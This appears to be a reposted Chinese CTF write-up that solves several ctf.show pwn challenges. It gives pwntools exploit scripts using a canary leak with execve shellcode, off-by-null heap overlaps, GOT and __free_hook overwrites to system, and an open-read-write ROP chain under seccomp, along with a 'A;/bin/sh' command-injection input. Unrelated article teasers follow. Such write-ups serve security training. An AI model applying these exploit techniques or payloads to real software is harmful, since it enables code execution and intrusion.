[ctf.show pwn] 新手杯,七夕杯

news2024/11/28 0:50:49

闲来无事作练习

新手杯

pwn1

好长的代码,看了十几分钟,发现最后一个函数是后门,而且是不用敲的那种。

这个只需要用;作个绕过即可

A;/bin/sh

pwn2

现在作题经常不按顺序来,结果费了半天劲,原来有个栈可写。还是应该先检查才行。

gdb-peda$ vmmap
Start              End                Perm      Name
0x00400000         0x00402000         r-xp      /home/kali/ctf/other/pwn2
0x00602000         0x00603000         rw-p      /home/kali/ctf/other/pwn2
0x00603000         0x00624000         rw-p      [heap]
0x00007ffff7c00000 0x00007ffff7c28000 r--p      /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7c28000 0x00007ffff7d96000 r-xp      /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7d96000 0x00007ffff7dee000 r--p      /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7dee000 0x00007ffff7df2000 r--p      /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7df2000 0x00007ffff7df4000 rw-p      /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7df4000 0x00007ffff7e01000 rw-p      mapped
0x00007ffff7fa7000 0x00007ffff7faa000 rw-p      mapped
0x00007ffff7fc3000 0x00007ffff7fc5000 rw-p      mapped
0x00007ffff7fc5000 0x00007ffff7fc9000 r--p      [vvar]
0x00007ffff7fc9000 0x00007ffff7fcb000 r-xp      [vdso]
0x00007ffff7fcb000 0x00007ffff7fcc000 r--p      /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffff7fcc000 0x00007ffff7ff1000 r-xp      /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffff7ff1000 0x00007ffff7ffb000 r--p      /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffff7ffb000 0x00007ffff7ffd000 r--p      /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffff7ffd000 0x00007ffff7fff000 rw-p      /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffffffde000 0x00007ffffffff000 rwxp      [stack]

这个漏洞在login里,输入密码的时候溢出

由于程序启用了canary,所以第一次要带出canary,同时由于canary与rbp相邻一同带出。根据rbp计算输入的位置。第二次先写入shellcode再通过溢出写个跳转。

这题如果没有栈可执行的话,利用0x20和一个0x18的溢出写ROP,再进行一次移栈估计是很麻烦的。从汇编看写寻址都是通过rbp,应该是也能实现。

#!/usr/bin/env python3
from pwn import *

#p = process('./pwn2')
p = remote('pwn.challenge.ctf.show', 28106)
context(arch='amd64', log_level='debug')

elf = ELF('./pwn2')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

pay1 = b'A'*25
p.sendlineafter(b"name:       ", b"cat_loves_her")
p.sendlineafter(b"password:   ", pay1)
p.recvuntil(pay1)
canary = b'\x00'+ p.recv(7)
stack = u64(p.recv(6).ljust(8, b'\x00'))
print(f"{stack:16X}")

shellcode =  b"\x6a\x3b\x58\x99\x52\x5e\x48\xb9\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x51\x54\x5f\x0f\x05"
pay2 = shellcode.ljust(0x18, b'\x00') + canary + p64(0) + p64(stack -0x10 - 0x20)
p.sendlineafter(b"password:   ", pay2)

p.interactive()

pwn3

还是同一个内容。不过这次终于进到菜单里头了。同时难度也加大了。

漏洞在readn这个函数,在最后a1[i]=0;是一个off_by_null.

先看块的结构,这里管理块的name与指针相邻,利用edit里name的off_by_null可以将ptr的尾字节改为0,当改为0后如果恰指向一个管理块这样就能控制管理块修改指针实现任意地址读写。

由于题目没有给libc版本,所以有3种可能,

  1. 如果是2.27以下没有tcache的版本,堆起点尾地址在0x10这时候0x20正好写不到指针,需要建3个块(程序已经建了第1个块),第3个块起点在0xf0将指针尾号改为0正好落在指针位置。

  1. 如果是2.27,有tcache则起点在0x50这样需要建7个块才能落到控制区

  1. 如果是2.35起点在0xa0,需要4个块

所以第1步,利用name与指针区相邻,当show_name时可以带出指针。

#!/usr/bin/env python3
from pwn import *

#p = process('./pwn3')
p = remote('pwn.challenge.ctf.show', 28113)
context(arch='amd64', log_level='debug')

elf = ELF('./pwn3')
libc = ELF('/home/kali/glibc/2.27-3ubuntu1-amd64/libc-2.27.so')

def login():
    p.sendafter(b"name:       ", b"cat_loves_her".ljust(16, b'\x00'))
    p.sendlineafter(b"password:   ", b'\x00')

def login2():
    p.sendafter(b"name:       ", b'A\n')
    p.sendafter(b"password:   ", b'A'*16)

def show(name):
    p.sendlineafter(b"[7].Check log_information\n", b'2')
    p.sendlineafter(b"please input the name of the object you want to check>>  \n", name)

def add(name, msg):
    p.sendlineafter(b"[7].Check log_information\n", b'1')
    p.sendafter(b"please input the name of the onject>>   ", name)
    p.sendafter(b"and then describe it ", msg)

def edit(name, new_name, msg):
    p.sendlineafter(b"[7].Check log_information\n", b'4')
    p.sendlineafter(b"please input the name of the object you want to modify>>  ", name)
    p.sendlineafter(b"      [3]both\n", b'3')
    p.sendafter(b"please input the name of the onject>>   \n", new_name)
    p.sendafter(b"emememememmm,describe it>>    \n", msg)

def free(name):
    p.sendlineafter(b"[7].Check log_information\n", b'3')
    p.sendlineafter(b"please input the name of the object you want to delete>>  \n", name)

def show_name():
    p.sendlineafter(b"[7].Check log_information\n", b'7')

login2()
show_name()
p.recv()
pause()

通过得到的结果,这个版本大概是2.27

后边先要把指针指到got表上,由于free可以带1个参数,跟system一样,思路就是先指向got.free得到libc地址,再将got.free改为system,释放一个带/bin/sh的块。

代码前面公共函数部分与前面部分相同。

login()

for i in range(1,7):
    add(str(i).encode()+b'\n', b'/bin/sh\n')

free(b'1\n')  #先free一个块,让got表填充libc的值

edit(b'6', b'6'.ljust(8, b'\x00'), p64(6)+p64(0x36)+p64(elf.got['free'])+b'\n') #改name时置指针尾字节为0,控制管理块再通过修改msg修改管理块指针到got表
show(b'6')
p.recvuntil(b'::')
libc.address = u64(p.recv(6).ljust(8, b'\x00')) - libc.sym['free']
print(hex(libc.address))

one = [0x4f2c5,0x4f322,0x10a38c]
edit(b'6', b'6\n', p64(libc.sym['system'])[:-1]+b'\n') #再次修改got表为system

free(b'2\n')

p.interactive()

vm

第4题没有延用前边的题,出了个单独的。

给了一个很大的包,里边有两个libc的安装包和一个libc已经解好的包和libc_all_in_one的程序。其实只是告诉了libc版本,不过这种题可以直接泄露got的的情况下libc版本给出有点多余了。

这是个虚拟机的题。这个虚拟机比较简单只有push,add,pop,exit,system 5个命令。

同样作题时忘了先检查,结果一半发现got表里有prctl才想起来。结果发现是execve被禁用了。

┌──(kali㉿kali)-[~/ctf/other]
└─$ patchelf --add-needed ~/glibc/libs/2.27-3ubuntu1_amd64/libc-2.27.so vm      
                                                                                                                                                                                                                                            
┌──(kali㉿kali)-[~/ctf/other]
└─$ patchelf --set-interpreter ~/glibc/libs/2.27-3ubuntu1_amd64/ld-2.27.so vm      
                                                                                                                                                                                                                                            
┌──(kali㉿kali)-[~/ctf/other]
└─$ seccomp-tools dump ./vm
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x02 0xc000003e  if (A != ARCH_X86_64) goto 0004
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x15 0x00 0x01 0x0000003b  if (A != execve) goto 0005
 0004: 0x06 0x00 0x00 0x00000000  return KILL
 0005: 0x06 0x00 0x00 0x7fff0000  return ALLOW
                                                                                                                                                                                                                                            
┌──(kali㉿kali)-[~/ctf/other]
└─$ checksec --file=vm  
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   RUNPATH     No Symbols         No    0               1               vm
 

被禁用后也就是用ORW了,思路就是先得到libc地址和栈地址,在vm函数结束return的位置写入ORW

由于虚拟机提供了syscall(0,...) syscall(1,...)也就是任意地址读和写,所以处理起来还算好办。从got表就能得到libc地址,再从environ得到栈地址计算出ret地址,最后再利用syscall(0,..)将ORW写入到栈里。

from pwn import *

#p = process('vm')
p = remote('pwn.challenge.ctf.show', 28108)
context(arch='amd64', log_level='debug')

elf = ELF('./vm')
libc = ELF('/home/kali/glibc/2.27-3ubuntu1-amd64/libc-2.27.so')

p.recv(0x100)

#get libc address
cmd = [0,0x67616c662f,           #/flag
      0,8,0,elf.got['puts'],0,1,4,1,3, 999999] #write(1,got.puts,8) 
p.sendline(' '.join([str(v) for v in cmd]).encode())

p.recvline() #running
libc.address = u64(p.recv(8)) - libc.sym['puts']
print('libc:', hex(libc.address))

#get stack address (environ)
cmd = [0,8,0,libc.sym['environ'],0,1,4,1,3, 999999] #
p.sendline(' '.join([str(v) for v in cmd]).encode())

p.recvline() #running
stack_ret = u64(p.recv(8)) - 0x120  #vm ret
print('stack:', hex(stack_ret))

#write ORW at vm.return
pop_rdi = libc.address + 0x000000000002155f # pop rdi ; ret
pop_rsi = libc.address + 0x0000000000023e6a # pop rsi ; ret
pop_rdx = libc.address + 0x0000000000001b96 # pop rdx ; ret
pop_rax = libc.address + 0x00000000000439c8 # pop rax ; ret
ret = pop_rdi+1

rop = flat(pop_rdi, 0x60a0c0, pop_rsi,0, pop_rdx,0, libc.sym['open'], 
           pop_rdi,3, pop_rsi, 0x123000, pop_rdx,0x50, libc.sym['read'],
           pop_rdi, 0x123000, elf.plt['puts'] )

cmd = [0,len(rop),0,stack_ret,0,0,4,0,3, 999999] #
p.sendline(' '.join([str(v) for v in cmd]).encode())
p.recvline() #running

p.send(rop)

print(p.recvline())

七夕杯

pwn_me

七夕杯只有这一个题。是个堆题,在readn有个off_by_null跟上边第3题那个函数基本一样。

堆菜单给的挺全,add,free,edit,show都有,那难度就没有了。

利用off_by_null的模板就是通过尾字节修改堆头,比如0x101改为0x100这样在free里形成向前合并,从而得到重叠块。

这里在模板上有几个小限制

  1. 有一个0x10的name块,为防止在里头捣乱,先建5个0x10的块释放,再建块时name块会利用这些tcache和fastbin建立,其余块就会连在一起进入模板的样子。

  1. 块大小只有1024,不能直接建立可以直接释放到unsort的块,需要先释放7个才行。

  1. 释放以后不能建同样大小的块,否则会使用tcache。用两块凑尺寸。

  1. 只允许建10个块,刚刚好,再少一个就比较麻烦了。

  1. 远程始终连不上,仅作了本地。应该差不多。

from pwn import *

#p = process('./sweetheart')
p = remote('pwn.challenge.ctf.show', 28104)
context(arch='amd64', log_level='debug')

elf = ELF('./sweetheart')
libc = ELF('/home/kali/glibc/2.27-3ubuntu1-amd64/libc-2.27.so')

def add(name, size):
    p.sendlineafter(b"what do you want to do ?????  ", b'1')
    p.sendlineafter(b"how much you long for a sweetheart?", str(size).encode())
    p.sendlineafter(b"Congratulations,you new one;Then ask the name,and tell me:", str(name).encode().ljust(16, b'\x00'))

def edit(name, msg):
    p.sendlineafter(b"what do you want to do ?????  ", b'2')
    p.sendlineafter(b"who do you want to buy gift for? ", str(name).encode())
    p.sendlineafter(b">>>>  ", msg)

def show(name):
    p.sendlineafter(b"what do you want to do ?????  ", b'3')
    p.sendlineafter(b"who do you want to show to us ? ", str(name).encode())

def free(name):
    p.sendlineafter(b"what do you want to do ?????  ", b'4')
    p.sendlineafter(b"who do you want to break up with? ", str(name).encode())

p.sendlineafter(b"Did you give me the money voluntarily? how much ? \n",b'99')

for i in range(5):
    add(i, 0x10)
for i in range(5):
    free(i)

for i in range(10):
    add(i, 0x1f8)
for i in range(9,2,-1):
    free(i)

free(0)
edit(1, b'0'*0x1f0 + p64(0x400)) #chunk2 0x201->0x200
free(2)

#12 = 1
add(10, 0xf8)
add(11, 0xf8)
show(1)
p.recvuntil(b"emmmmm\n ")
libc.address = u64(p.recv(6).ljust(8, b'\x00')) - 0x70 - libc.sym['__malloc_hook']
print('libc:', hex(libc.address))

add(12, 0xf8)
add(13, 0xf8)

free(12)
edit(1, p64(libc.sym['__free_hook']))
add(12, 0xf8)
add(14, 0xf8) #__free_hook
edit(14, p64(libc.sym['system']))
edit(10, b'/bin/sh\x00')
free(10)

p.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/142969.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【新年心安】新冠感染“阳康”套餐,“阳康”后的你,很有必要

你有没有 在阳康后还伴随 呼吸急促(气短)、全身乏力、咳嗽、出冷汗等 健康问题阳康健康检查套餐 潍坊正大光明老年病医院为更好的服务患者现推出阳康健康检查套餐,“阳康”后的你,体检先行很有必要!详情如下&#xff1…

【LeetCode面试TOP100】力扣打卡第一天!

✨哈喽,进来的小伙伴们,你们好耶!✨ 🛰️🛰️系列专栏:【LeetCode面试TOP100】 ✈️✈️本篇内容:力扣Top100——第1,2题! 🚀🚀代码存放仓库gitee:力扣面试Top100题&…

JavaScript刷LeetCode拿offer-js版字典

1. 字典简介 与集合类似,字典也是一种存储唯一值的数据结构,但它是以键值对的形式来存储。 使用 ES6 Map 1.1 字典的常用操作 const m new Map();// 增 m.set(a, aa); m.set(b, bb);// 删 m.delete(b); m.clear();// 改 m.set(a, aaa)// 查 m.get(a…

【JavaScript 逆向】极验三代无感验证码逆向分析

相关文章 【JavaScript 逆向】极验三代滑块验证码逆向分析 【JavaScript 逆向】极验四代无感验证码逆向分析 【JavaScript 逆向】极验四代滑块验证码逆向分析 声明 本文章中所有内容仅供学习交流,相关链接做了脱敏处理,若有侵权,请联系我…

ESP32设备驱动-HDC1008温度传感器驱动

HDC1008温度传感器驱动 1、HDC1008介绍 Texas Instruments 的 HDC1008 是一款带有集成温度传感器的数字湿度传感器,能够以极低的功耗提供出色的测量精度。 该设备基于新型电容传感器测量湿度。 湿度和温度传感器在出厂时已校准。 创新的 WLCSP(晶圆级芯片规模封装)使用超紧…

dubbo源码实践-Exchange 信息交换层例子

1 Exchange 层概述官方定义:exchange 信息交换层:封装请求响应模式,同步转异步,以 Request, Response 为中心,扩展接口为 Exchanger, ExchangeChannel, ExchangeClient, ExchangeServer。其中Exchanger是SPI扩展点&…

虹科分享 | 网络流量监控 | 构建大型捕获文件(Ⅰ)——Wireshark过滤器和其他Allegro网络万用表工具

数据包分析是一个复杂的话题。如果在没有设置参数的情况下启动Wireshark,就会开始实时捕获或打开一个预先录制的pcap文件。在很短的时间内,可能有成千上万的数据包等待分析。有一种危险,就是被大量的数据困住了。 然而,如果用户想…

BPF学习笔记(八)--Linux tracing system对比分析

Linux trace技术发展已久,经常看到很多的专业术语,从perf LTTng systemtap bpftrace tracepoint trace BCC bpf ebpf等词汇,这些关键的词汇有着怎样的联系和关联,通过下面的这个图可以直观的认识到这几种关键技术的内在联系。 整…

Java认识多线程与Thread类的使用

目录 认识线程(Thread) 概念 为什么会有线程的出现? 刨根问底。为什么进程的创建与销毁效率很低呢? 多线程的轻量体现: 进程与线程的区别 第一个多线程程序 抢占式执行是啥 JDK中jconsole工具的使用 创建线程…

Live800:智能客服机器人的知识库怎么创建?

智能客服机器人的知识库是以知识为基础的系统,它可以明确地表达与实际问题相对应的知识,并构成相对独立的程序行为主体,有利于有效、准确地解决实际问题。从本质上来说,智能客服机器人的知识库实际上就像人类的大脑,储…

Flutter关于软键盘的一些问题

Scaffold类有个resizeToAvoidBottomInset 属性,它的作用是当弹出软键盘的时候,可以自动调节body区域的高度,撑起body的内容,使其底部高度刚好为键盘的高度,这样一来就不至于让键盘覆盖内容。 Scaffold( /// ..... ///…

教你如何搭建CRM—商机管理系统的demo

1、简介 1.1、案例简介 本文将介绍,如何搭建CRM-商机管理。 1.2、应用场景 CRM-商机管理应用完整记录所有商机资料,合理的对商机进行销售阶段的变更,实现商机管理智能化。 2、设置方法 2.1、表单搭建 1)新建主表【商机】表…

进程间通信——共享内存

目录 1 概念 2 操作流程 fork(获取key值) shmget(申请对象) shmat(内存映射) 读写共享内存:类似堆区内存的直接读写 shmdt(解除映射) shmctl(删除对象) 范例: 1 概念 共享内存是进程间通信中最简单最高效的方式之一。共享内存允许两个或更多进程…

使用Python的Selenium进行网络自动化的入门教程

使用Python的Selenium进行网络自动化入门 自动化可以被看作是在使用电子机器或机器人来执行任务的过程中去除人力的过程。 在这篇文章中,我们将研究网络流程的自动化。 让软件机器人在网络上自动执行流程和任务的能力被称为网络自动化。 使用网络自动化&#xf…

2022年协议转让投资策略研究报告

第一章 协议转让的概念 协议转让是指双方当事人就转让标的物所有权达成协议,是典型的商业交易方式。而在破产案件中,则是一种有别于拍卖和以物抵债的处置财产的方式。根据《企业破产法》第112条,变价出售财产应当通过拍卖进行。但是&#xf…

云原生|kubernetes|安全漏扫神器trivy的部署和使用

前言: 云原生领域内的安全漏扫工具有clair和trivy是比较常用的,而安全漏扫工具是可以和harbor这样的私有仓库集成的,自harbor-1.21版以后都是默认使用trivy这个漏扫工具的,而在此之前是使用clair的。 那么,本文将就什…

实验十七 VLAN间的三层通信

实验十七 VLAN间的三层通信配置要求:通过三层交换机实现VLAN间互通通过单臂路由实现VLAN间互通网络拓扑图:操作步骤:一、 通过三层交换机实现VLAN间互通1、配置交换机LSW1的接口为trunk接口,g0/0/1口允许vlan 10通过,g…

构建器/生成器模式Builder

1.意图:将一个复杂对象的构建与它的表示分离,使得同样的构建过程可以创建不同的表示。 2.结构 Builder为创建一个Product对象的各个部件指定抽象接口。 ConcreteBuilder实现Builder的接口以构造和装配该产品的各个部件,定义并明确它所创建的…

实验十五 IS-IS协议基本配置

实验十五 IS-IS协议基本配置IS-IS(中间系统到中间系统)协议与OSPF(开放最短路径优先)协议有许多类似之处, 如都是链路状态的IGP路由协议,采用的都SPF路由算法,都划分了区域。为了支持大规模 的路由网络,IS-IS在自治系统内采用骨丁…

四、MySQL 存储引擎及数据类型

文章目录一、前置知识二、MySQL 存储引擎(先了解,初步有个印象)2.1 MySQL 存储引擎的概念2.2 查询 MySQL 中支持的存储引擎2.3 InnoDB 存储引擎2.4 MyISAM 存储引擎2.5 MEMORY 存储引擎2.6 如何选择 MySQL 存储引擎?三、MySQL 数据类型3.1 数字类型3.2 日…